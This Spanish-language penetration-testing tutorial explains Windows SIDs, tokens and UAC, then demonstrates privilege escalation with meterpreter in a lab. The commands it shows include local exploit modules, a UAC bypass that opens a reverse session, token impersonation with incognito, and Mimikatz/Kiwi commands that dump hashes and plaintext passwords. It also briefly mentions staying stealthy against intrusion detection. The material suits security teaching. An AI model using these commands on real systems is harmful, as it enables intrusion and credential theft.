4.5.4. Post-Explotation: Privilege Escalation (Escalada de privilegios)
Tabla de contenidos:
4.5.4.1. Windows: gestión de usuarios, permisos y control de acceso
4.5.4.1.1. SID: Security Identifier (usuarios y grupos)
4.5.4.1.2. Windows Token y UAC
4.5.4.2. Enumeración de privilegios, tokens y cuentas de usuario con meterpreter
4.5.4.3. Módulos meterpreter para escalar privilegios desde usuario básico
4.5.4.4. Extensión privs de meterpreter y comando migrate
4.5.4.5. Impersonar tokens (incognito mode)
4.5.4.6. Extensión Mimikatz o Kiwi
4.5.4.7. Técnicas manuales Windows para escalar privilegios
Una de las fases fundamentales de proceso de postexplotación es la escalada de privilegios. Todos los sistemas operativos modernos incluyen un sistema de control de cuentas, grupos y dominios que organiza los privilegios de acceso mediante identificadores y políticas de seguridad. En concreto, los privilegios asociados a una cuenta de usuario local o de dominio determinan el nivel de información obtenible y la capacidad para modificar el sistema a través de los procesos activos (vinculados al usuario). Los sistemas modernos cuentan con servicios y mecanismos robustos que restringen el uso y acceso a las cuentas con los mayores privilegios como NT AUTHORITY\SYSTEM en Windows o root en Linux.
Sin poder acceder al control de una de estas cuentas de usuario será muy complicado determinar información crítica del sistema y de la red para poder seguir con el proceso de postexplotación y solo se podrá obtener información superficial pero en ningún extender la intrusión a otros equipos de la red, crear puertas traseras o eliminar datos en los registros de actividad. Habiendo repasado los aspectos básicos de meterpreter, en esta sección se hará un recopilatorio sobre las técnicas para escalar privilegios desde una cuenta de usuario básico con permisos filtrados.
Esta muestra se hará principalmente sobre el sistema operativo Windows debido que suele ser mucho más complejo que en distribuciones basadas en Linux/Ubuntu. Aunque en las secciones Reconocimiento Sistemas Operativos Windows se ha especificado algunas de las bases como la creación de usuarios, grupos o el fichero de cuentas locales SAM, a continuación se va ampliar de forma consistente la explicación sobre el Control de Cuentas de Usuario (UAC) y los mecanismos de los SID y token. Se intentará sintetizar lo máximo posible, teniendo como objetivo la comprensión de algunos de los métodos que se aprovechan de vulnerabilidades conocidas en este sistema para realizar la escalada de privilegios a las cuentas de Administrador o NT AUTHORITY\SYSTEM.
4.5.4.1. Windows: gestión de usuarios, permisos y control de acceso
Para comprender y manejar técnicas de escalada de privilegios —o los exploits diseñados para ello— es fundamental conocer cómo Windows gestiona las cuentas de usuario, los grupos y los permisos asociados a los procesos en ejecución. Aunque existe abundante bibliografía especializada, aquí no se pretende elaborar una guía exhaustiva, sino presentar de forma escalonada los conceptos clave que servirán como base para las demostraciones de escalada de privilegios con meterpreter.
4.5.4.1.1. SID: Security Identifier (usuarios y grupos)
El siguiente cuadro técnico es una representación de cómo se administran las cuentas de usuario y grupos. Esto se hace a partir de la definición de identificadores de seguridad (o SIDs, de las siglas en inglés Security Identifiers). Para cada cuenta de usuario y grupo del sistema se crea este identificador que es único, en el momento de su alta. Los diferentes SIDs son recuperados y gestionados por el servicio LSASS (Local Security Authority Subsystem Service) para posteriormente crear estructuras de memoria denominados token. Estos token se asocian a procesos para determinar su nivel de integridad o permisos dentro del sistema (tema que se detallará más adelante).
Los SIDs pueden tener dos orígenes principales:
- Sistema local: Se almacenan en el Registro de Windows a través de las claves del SAM (Security Account Manager) y la mayoría de ellos se crean por defecto durante la instalación del Sistema Operativo. Se pueden identificar claramente a través del RID (Relative Identifier), que es la última parte del código del SID. Por ejemplo. Para la cuenta de usuario Administrator el RID es 500, para el grupo de Guests es 546 y para el primer usuario local es 1001.
- LDAP: En entornos empresariales es habitual que las cuentas de usuario y grupos se gestionen a través de un servidor de Protocolo Ligero de Acceso a Directorio o Active Directory. De este modo, los gestores del sistema pueden gestionar cuentas de forma remota y vincular los usuarios a grupos específicos que se ajusten a las necesidades de cada trabajador (restringiendo así los permisos). Cuando se inicia el sistema, el servicio LSASS recupera la información del servidor y la almacena en la memoria del sistema operativo.
Una forma sencilla de ver el formato de un SID es empleando la Powershell. Con el siguiente comando, se obtiene el listado de las cuentas de usuario locales relacionando el nombre con el SID (se puede añadir Enabled como atributo para ver si la cuenta está activa). Como se muestra en la imagen, estas cuentas son conocidas y creadas por defecto durante la instalación y sus RID se encuentran de forma genérica con el mismo valor en todas las instalaciones (500, 503, 1001 al final en el último bloque numérico). Los valores de inicio S-1-5-21 son un estándar, mientras que el bloque numérico siguiente se denomina Identifier Authority, que identifica de forma única el dominio o equipo donde se creó la cuenta:
Get-LocalUser | Format-Table Name, Enabled, SID
De modo similar, también se pueden consultar los grupos a los que pertenece el usuario actual, los cuales determinan en gran medida su nivel de privilegios. En la imagen correspondiente al comando whoami /groups se muestra el resultado en dos modalidades para el mismo usuario estándar (RID: 1001). Este usuario presenta una característica particular: aunque podría pensarse que, por seguridad, no debería formar parte del grupo de administradores, en Windows se incluye por defecto en BUILTIN\Administrators (para ser correctos debería hablarse de un usuario con rol de administrador con privilegios filtrados por defecto). Sin embargo, cuando se ejecuta de forma estándar, su nivel de permisos se ve filtrado por la intervención del UAC (User Account Control), lo que reduce sus privilegios efectivos. El funcionamiento de este control de seguridad se explicará en los siguientes apartados.
En la primera parte de la imagen compuesta se muestra el resultado con el usuario filtrado y en la segunda sin filtrar, en términos de privilegios. Dentro de la información devuelta, destacan especialmente para examinar los grupos de tipo Alias (y Group, si existen grupos de dominio) y los Label.
- Alias/Group: indican a qué grupos pertenece realmente el usuario.
- Label: indican el nivel de integridad del token, y por tanto el nivel de privilegios del proceso.
En este caso, se observa cómo el grupo Label varía: en un caso se muestra Medium Mandatory Level (privilegios medios) y en el otro High Mandatory Level (altos privilegios). Esto evidencia que en Windows un mismo usuario puede operar con distintos niveles de privilegio según cómo se inicie el proceso (en este ejemplo, el proceso de PowerShell).
whoami /groups
De forma similar, con el comando whoami /privs se pueden consultar los privilegios vinculados al proceso de PowerShell para el usuario con RID: 1001, tanto con filtrado como sin filtrar. La diferencia sustancial entre ambas situaciones se aprecia en la salida mostrada en pantalla. Es importante recordar que los privilegios provienen de los grupos a los que pertenece el usuario, y no del usuario en sí. Estos privilegios se aplican al proceso en ejecución a través del token que Windows asigna, el cual determina el nivel de integridad y las acciones permitidas.
Nota: El nivel de privilegios lo determina el sistema de forma predeterminada para los grupos locales conocidos (Users, Administrators, etc.), mientras que en el caso de grupos de dominio es el administrador quien los configura.
whoami /privs
4.5.4.1.2. Windows Token y UAC
Aunque la administración de usuarios y grupos es una parte fundamental del núcleo de un sistema operativo, no son estos por sí quienes interactúan con el sistema sino que son los procesos. En otras secciones de Malware SA ya se ha hecho una descripción de este concepto informático, que puede resumirse como un programa en ejecución. Los procesos se inician por un usuario y están vinculados a este. Además, se puede diferenciar al menos dos tipos de procesos según el nivel de integridad. Como se describe en la página de Windows sobre UAC:
- Una aplicación de alta integridad es aquella que realiza tareas que modifican los datos del sistema, como una aplicación de partición de disco.
- Una aplicación de baja integridad es aquella que realiza tareas que podrían poner en peligro el sistema operativo, como un explorador web.
Para asegurar que un programa o proceso se ejecuta con un nivel de integridad adecuado, para ello se utilizan los token, ya mencionados en las secciones de arriba. Un token es una estructura de memoria que contiene los siguientes elementos:
- Un ÚNICO identificador de usuario de los que están almacenados en el sistema en el SAM o de dominio (SID).
- Uno o varios grupos de usuario, ya sea de dominio o locales, que están asociados al usuario (SID).
- Listado o rango de privilegios proporcionados por los grupos en gran medida.
- Posibilidad de impersonación. Este concepto indica si un token puede ser utilizado por otro usuario en determinadas circunstancias (por ejemplo, porque requiere que un proceso actúen con alta integridad para una determinada acción).
En la creación de los token interviene directamente el servicio LSASS, a través de un proceso denominado primary token creation. Los token se almacenan en la memoria y no hay un formato directamente leíble para mostrarlo en pantalla. Estos se asocian a un proceso cuando es iniciado, definiendo así el nivel de integridad del programa en función del token asignado. Es importante destacar que los token se crean de forma potencial cuando un usuario inicia sesión (incluyendo también cuentas de sistema NT AUTHORITY o root), y estos se asignan al proceso cuando se inicia. De este modo, es común en Windows que un mismo token se utilice para varios procesos, en una operación del sistema que se denomina duplicado de token. Por este motivo, en las prácticas de escalada de privilegios no son tan importante los privilegios potenciales del usuario y sus grupos sino los que asignan el token al proceso.
La siguiente imagen muestra un resumen de la creación y funcionamiento de los token de Windows, además de introducir un elemento fundamental que a continuación se explicará y que es el UAC:
El UAC, de las siglas en inglés User Account Control, es otro elemento fundamental de la seguridad de cuentas y usuarios, estableciendo un control sobre el nivel de integridad de un proceso, o dicho de otro modo, decidiendo que token se va le a asignar. Como se ha indicado más arriba, una de las características del primer usuario personal creado en el sistema (RID: 1001) es que pertenece al grupo de administradores. En este caso y sin un control efectivo, este usuario iniciaría procesos con niveles de integridad alto, poniendo en riesgo la seguridad del sistema. Para evitar que esto ocurra, el UAC interviene de las siguientes maneras:
- Filtrado de token: Con UAC activado, cuando el usuario inicia la sesión en el sistema (y este pertenece al grupo de administradores), LSASS creará dos token. Uno sería el full administrator token (elevated token), con altos privilegios, y otro denominado filtered administrator token (standard token) con permisos restringidos. Ambos token están vinculados al mismo SID y con la misma pertenencia a grupos, aunque en el token filtrado ciertos grupos —como Administrators— estén marcados como no habilitados (Deny Only).
- Asignar token filtrado a los procesos: Por defecto, el UAC decidirá que en los procesos iniciados por el usuario se les asigne el token filtrado (standard) para no poner en riesgo el sistema (*).
(*) Nota: En realidad, el UAC no asigna token a procesos sino que actúa como mecanismo de decisión. El elemento que decide y asigna los token al iniciar un proceso es el Security Reference Monitor (SRM). Es decir, tampoco es el servicio LSASS, que al final es solo el encargado de generar los token de administrador completo y filtrado.
- Habilitar escala de privilegios (full admin token reapplied): No todos los procesos iniciados por un usuario pueden realizarse con un nivel de integridad bajo, aunque sea el objetivo principal del UAC (por ejemplo: instalar un programa). En estos casos, Windows muestra un pop-up indicando que el proceso requiere funcionar con altos privilegios y el usuario debe confirmarlo. De este modo se asignaría al proceso el elevated token. En Windows, también el propio usuario puede escoger si iniciar el proceso como administrador (Run as Administrator), haciendo uso de este sistema del UAC (como se ha mostrado con Powershell con el comando whoami).
4.5.4.2. Enumeración de privilegios, tokens y cuentas de usuario con meterpreter
Los puntos desarrollados anteriormente respecto a la gestión de las cuentas de usuario y la asignación de privilegios a partir de los tokens en los procesos pueden mostrarse claramente con el módulo win_privs de Metasploit en una sesión de meterpreter. Este módulo ya se presentó en la introducción a meterpreter.
Como se indica en la información del módulo, este aporta datos sobre el usuario vinculado al proceso de la sesión obtenida, mostrando su identificación (UID), si el UAC está habilitado (UAC Enabled) y, lo que resulta más significativo: si pertenece al grupo de administradores (Is In Local Admin Group). Además, ofrece otra información muy relevante que permite evaluar los privilegios disponibles y valorar posibles técnicas de escalada:
- Is Admin: Indica si el proceso se está ejecutando con un token elevado (elevated token) en el caso de un usuario normal que pertenezca al grupo de administradores, o bien si la sesión corresponde a la cuenta de Administrador (RID: 500). Lo más habitual es el primer caso, ya que la cuenta de Administrador suele estar deshabilitada o muy restringida en sistemas Windows.
- Is System: Señala si la cuenta asociada al proceso es NT AUTHORITY\SYSTEM. Esta forma parte de las cuentas especiales integradas en Windows, junto con otras como LOCAL SERVICE o NETWORK SERVICE. Todas ellas se caracterizan por ejecutarse con el máximo nivel de privilegios y no se almacenan en el SAM ni en un servidor LDAP, ya que su definición está integrada en el propio sistema operativo.
A continuación se muestra una imagen con la ejecución del módulo win_privs en dos sesiones de meterpreter distintas. En ambas, la cuenta de usuario es la misma, perteneciente al grupo de administradores. No obstante, en el primer caso el token vinculado a la sesión es el standard (Is Admin: False), debido a la intervención del UAC que marca el grupo Administrators como Deny Only. En el segundo, la sesión se ejecuta con un elevated token (Is Admin: True), disponiendo de un rango mucho mayor de privilegios y suponiendo una amenaza crítica para la seguridad del sistema comprometido.
Si se ejecuta ahora el comando ps para listar los procesos, se observa la paradoja de tener dos sesiones de meterpreter corriendo en el mismo sistema, incluso con el mismo nombre y usuario vinculado, pero con niveles de privilegio claramente distintos según el token asociado.
En un proceso de escalada de privilegios, el objetivo final es obtener el mayor número posible de ellos, lo que solo se garantiza con la cuenta NT AUTHORITY\SYSTEM, ya descrita anteriormente. Alcanzar esta cuenta mediante explotación local permite ejecutar con garantías fases posteriores, como propagar la intrusión a otros equipos de la red o establecer mecanismos de persistencia.
El procedimiento típico para obtener SYSTEM y vincularlo a la sesión de meterpreter parte, generalmente, de un standard token asociado a un usuario que pertenezca al grupo Administrators. El siguiente paso, y también el más complejo, es escalar a un elevated token mediante exploits de tipo local (local exploit). En algunos casos, y si la cuenta de Administrador está habilitada, el exploit podría directamente devolver una sesión bajo esta cuenta.
A partir de ahí, obtener la cuenta SYSTEM resulta más factible, empleando técnicas clásicas con extensiones y scripts de meterpreter como getsystem, migración de procesos (migrate), o incluso la captura de tokens de SYSTEM mediante técnicas de impersonación (Incognite Mode) o Pass-the-Hash (Mimikatz). En los siguientes apartados se describirán estas técnicas con mayor detalle. También es posible en algunos casos obtener una sesión con la cuenta SYSTEM partiendo directamente de un usuario filtrado (standard token) con determinados exploits locales, los cuales son muy buscados en los de tipo zero-day.
4.5.4.3. Módulos meterpreter para escalar privilegios desde usuario básico
En este punto se va a mostrar el funcionamiento de algunos módulos tipos exploit/…/local, disponibles para diferentes sistemas operativos. Estos módulos vienen a sustituir lo que anteriormente eran los módulos denominados post/escalate, ahora ya deprecados, aunque en algunos casos se sigue utilizando la nomenclatura. Estos módulos requieren operar con una sesión de meterpreter o shell y por lo tanto se consideran módulos de postexplotación. La función de los módulos local está entre otras en el aprovechamiento de vulnerabilidades del núcleo del sistema operativo con el fin de obtener alguna ventaja, como podría ser la escalada de privilegios.
El listado de módulos de este tipo en el framework de Metasploit es demasiado extenso como para analizar cada caso, así que solo se ofrecerá una muestra de cómo funcionan y como saber escoger. Algunos puntos a tener en cuenta
- Muchas de las vulnerabilidades ya han sido parcheadas en las sucesivas versiones de Windows, y por lo tanto la posibilidad de éxito no resulta inmediata en la mayoría de los casos. Para las versiones más avanzadas de Windows como la 10/11 y algunos Server, es probable que la versión gratuita de Metasploit incluida en Kali Linux sea insuficiente para tener éxito, así que es recomendable consultar periódicamente fuentes de Common Vulnerabilities and Exposures (CVE) e importar los últimos exploits.
- Al igual que otras técnicas vistas anteriormente como un escaneo de puertos o vulnerabilidades, o la explotación remota de un servicio, estos módulos generan mucho ruido y pueden ser fácilmente detectables por sistema antiintrusión y dejar registros en los logs del sistema. Si se quiere ser sigiloso, se recomienda previamente realizar pruebas en un entorno controlado para las diferentes versiones del sistema operativo.
- En muchos de los casos los módulos local son muy específicos y requieren una correcta configuración del target y el payload tipo meterpreter, adecuándola a la arquitectura del sistema a explotar (32, 64 bits). Cuando la explotación resulta exitosa, normalmente se creará una nueva sesión con los privilegios escalados.
Para poder probar su funcionamiento en un entorno de laboratorio, se puede utilizar el módulo tipo post de local_exploit_suggester en una sesión ya iniciada de meterpreter. Como indica el nombre y se puede ver en la siguiente pantalla, este módulo realiza un escáner (bastante ruidoso) probando la vialidad de todos los exploits de tipo local para el sistema operativo que incluye el framework. El proceso suele tardar un tiempo, y al acabar se ofrecen los resultados en formato lista para cada módulo, indicando su posibilidad de éxito.
run post/multi/recon/local_exploit_suggester
Se escoge por ejemplo el módulo exploit/windows/local/service_permissions. De acuerdo a su información (y sin entrar en detalles técnicos que ya están disponibles en otras fuentes de internet), este módulo aprovecha privilegios administrativos existentes para obtener una sesión con permisos de SYSTEM. Tal y como se ha indicado más arriba, si el módulo resulta exitoso, se creará una nueva sesión aunque para ello también deberá configurarse el payload correctamente. Como la explotación se realiza en remoto y el payload meterpreter por defecto es de tipo reverse, también debe setearse el LHOST/LPORT de forma correcta. Como se indica en la pantalla, se ha configurado el LHOST (no cargado por defecto) y posteriormente se obtiene éxito, obteniendo una nueva sesión con un proceso vinculado a NT AUTHORITY\SYSTEM.
run windows/local/service_permissions
En este otro ejemplo, el módulo exploit/windows/local/bypassuac_comhijack se ejecuta con el comando run de meterpreter y se setea directamente el parámetro LHOST en la misma instrucción. De acuerdo a la información del módulo “este evade el UAC de Windows creando entradas en el registro que fuerzan a procesos privilegiados a cargar DLLs controladas por el usuario“. En este caso, se obtiene una sesión con el usuario normal pero con el deseado elevated token como se indica por el módulo win_privs. Con estos permisos, se puede escalar fácilmente a NT AUTHORITY con las instrucciones getprivs o migrate que se verán a continuación.
run windows/local/bypassuac_comhijack LHOST=<LOCAL_IP>
En un último ejemplo, se observa que en ocasiones es preciso configurar correctamente la arquitectura y tipo de payload meterpreter, pues el que viene cargado por defecto puede no ser compatible con el sistema explotado. En los módulos de tipo local mostrados, es bastante recurrente. No obstante, como se indica en la pantalla, se setea una versión x64 para el módulo ms16_032_secondary_logon_handle_privesc. Aun así, no ha sido posible explotar la vulnerabilidad como se muestra, aunque apareciera inicialmente en el listado de local_suggester con probabilidad de éxito.
4.5.4.4. Extensión privs de meterpreter y comando migrate
Otra opción para escalar privilegios con una sesión de meterpreter consiste en utilizar algunos de los siguientes comandos:
1. Migrate: Es un comando que pertenece a la extensión núcleo de meterpreter. Como se indica en la descripción, este comando migra el proceso actual de la sesión de meterpreter a alguno de los indicados mediante el comando ps. Para conocer más sobre esta función, existe en internet información abundante. Explicado de forma resumida, meterpreter inyecta en la memoria de la máquina comprometida la librería DLL injector, que permite gestionar el traslado del hilo principal (thread) del proceso de la sesión meterpreter a otro proceso como nuevo hilo, adoptando así los privilegios de este proceso. Otra de las ventajas de este modo es que en caso de tener éxito, la sesión se mantendrá oculta en un proceso vinculado al sistema, pudiendo pasar más desapercibida. No obstante, si se trata de un proceso efímero existe el riesgo de que este termine y se pierda la sesión de meterpreter.
migrate <pid>
2. Getsystem: Es un comando perteneciente a la extensión priv, que por defecto se carga al obtener una sesión (se puede deshabilitar en los parámetros del payload). Como se indica en la descripción, meterpreter probará una serie de módulos que vienen definidos por defecto al utilizar el comando. La extensión priv también tiene otros comandos interesantes como hashdump para volcar el contenido del fichero SAM.
getsystem
Para obtener éxito con estas funciones en la escala de privilegios en un sistema operativo moderno, será fundamental tener almenos el elevated token para el proceso de la sesión de metepreter. El comando migrate utiliza librerías del núcleo del sistema operativo que operan con un nivel de integridad alto. Mientras que las técnicas del comando getsystem están restringidas por el UAC el Windows y por lo tanto solo resultan útiles si se dispone de permisos de administrador. Por lo tanto, puede decirse que estos dos comandos serán útiles solo para obtener privilegios vinculados a la cuenta NT AUTHORITY SYSTEM, teniendo previamente permisos dados con elevated token (admin).
La siguiente imagen muestra como el usuario restringido por UAC se ve limitado y sin éxito al emplear estos comandos. Además, la información sobre los procesos con el comando ps se ve muy limitada, pudiendo solo listar el PID del proceso y el nombre, pero no el usuario vinculado a los permisos del token.
A continuación, en la siguiente imagen compuesta, se muestra el empleo del comando migrate con el parámetro PID de un proceso que está en ejecución (2508) vinculado a la cuenta NT AUTHORITY SYSTEM, obteniendo éxito en la escala de privilegios:
En este otro ejemplo de imagen compuesta, se prueba el comando getprivs teniendo privilegios de administrador. Con la primera de las técnicas probadas, Named Pipe Impersonation (In Memory / Admin), ya se obtienen los permisos de SYSTEM para la sesión de meterpreter. Este éxito se debe en parte a que el sistema comprometido en el entorno de laboratorio es un WIN7, pero es probable que algunas de las técnicas incluidas en getprivs ya no resulten operativas en WIN10/11, incluso con el elevated token.
4.5.4.5. Impersonar tokens (incognito mode)
Otra opción para escalar privilegios consiste en utilizar la extensión incognito. Esta extensión permite apropiarse de los tokens de acceso en Windows, con el objetivo de suplantar usuarios o elevar privilegios del proceso con la sesión de Meterpreter sin necesidad de conocer contraseñas de acceso (impersonación de token). De forma práctica, se realizaría la siguiente secuencia:
1. Cargar la extensión:
load incognito
2. Listar los tokens disponibles: Como se ha comentado más arriba en esa sección, los token son estructuras dentro de la memoria del sistema y no se pueden visualizar de forma explícita. Sin embargo, esta extensión permite listarlos, mostrando los tokens locales o de dominio junto con el nombre y el dominio de los usuarios asociados. Los resultados dependerán del nivel de privilegios de la sesión. El listado muestra dos tipos:
- Delegation token: Son token completos de inicios de sesión interactivos, reutilizables incluso para autenticación remota. Son los más valiosos y los que se utilizarán normalmente.
- Impersonation token: Son más limitados, válidos únicamente para impersonación local.
list_tokens -u
3. Apropiarse del token: Para suplantar a un usuario simplemente se añade como parámetro alguno de los nombres de token mostrados al siguiente comando:
impersonate_token "<token>"
4.5.4.6. Extensión Mimikatz o Kiwi
Dentro del contexto de las cuentas de usuario de Windows, existe una extensión de meterpreter muy interesante: la herramienta Mimikatz, integrada en Metasploit bajo el nombre de Kiwi en sus versiones más recientes. Esta extensión permite automatizar distintos tipos de ataques relacionados con la gestión de credenciales, con el objetivo principal de obtener información de usuarios y credenciales almacenadas en el sistema.
La herramienta se puede utilizar mediante comandos directos o con módulos. Entre sus funcionalidades más habituales se encuentran:
- Volcado de hashes de contraseñas desde la base de datos SAM o del proceso lsass.exe.
- Extracción de contraseñas en texto claro cuando se encuentran cargadas en memoria.
- Gestión de tickets Kerberos, lo que facilita ataques como el Pass-the-Ticket.
- Suplantación de identidad mediante técnicas de Pass-the-Hash.
Es una herramienta de postexplotación muy potente y versátil aunque en este punto se realizará únicamente una introducción y una breve demostración práctica, pensada para aquellos que no la conozcan. A partir de aquí, cada usuario podrá profundizar por su cuenta en las múltiples opciones y técnicas que ofrece.
1. Cargar la extensión y mostrado de comandos básicos: La extensión incluye algunos comandos para ejecutar funciones de forma directa.
load kiwi
help kiwi
2. Comandos básicos: Desde la misma consola de meterpreter. En la siguiente imagen se muestra ejemplos de:
- creds_msv: Devuelve los hashes de contraseñas extraídos del subsistema MSV de Windows, que corresponden a las credenciales almacenadas en el fichero SAM del registro. Estos hashes pueden usarse posteriormente en ataques como Pass-the-Hash.
- creds_wdigest: Muestra las credenciales de usuarios en texto claro que se encuentran en memoria cuando está habilitado el proveedor de autenticación WDigest (versiones anteriores a Windows 11).
3. Inspección de módulos Mimikatz / Kiwi: Esta extensión también dispone de módulos que se pueden utilizar de forma independiente. Para listar los módulos disponibles y ver las opciones o ayuda de alguno de ellos, se utilizan los siguientes comandos:
kiwi_cmd ::
kiwi_cmd <module>::
kiwi_cmd <module>::<command>
Para terminar esta introducción, en la siguiente imagen se muestra los resultados de algunos comandos para el módulo sekurlsa, que trabaja directamente con el servicio LSASS. Gracias a ello es posible obtener gran cantidad de información sensible, como hashes de contraseñas, credenciales en texto claro o datos de inicios de sesión remota:
kiwi_cmd sekurlsa::credman
kiwi_cmd sekurlsa::logonpasswords
4.5.4.7. Técnicas manuales Windows para escalar privilegios
A continuación se describen algunas técnicas que se han explorado más allá de las opciones que ofrece el framework de Metasploit y en concreto la herramienta de meterpreter. Para no alargar más esta sección, se hace mención a ellas con una breve descripción y enlaces para que el usuario podrá profundizar por su cuenta en la amplia información disponible en Internet:
- PrintSpoofer / Juicy Potato: Permiten explotar el privilegio SeImpersonatePrivilege para ejecutar procesos con privilegios de NT AUTHORITY SYSTEM.
- DLL Hijacking: Consiste en aprovechar servicios o aplicaciones mal configuradas que cargan librerías de funciones DLLs sin rutas absolutas, inyectando así una DLL
- Insecure Service Permissions: Se modifica la configuración de un servicio vulnerable para que ejecute un payload con permisos de SYSTEM.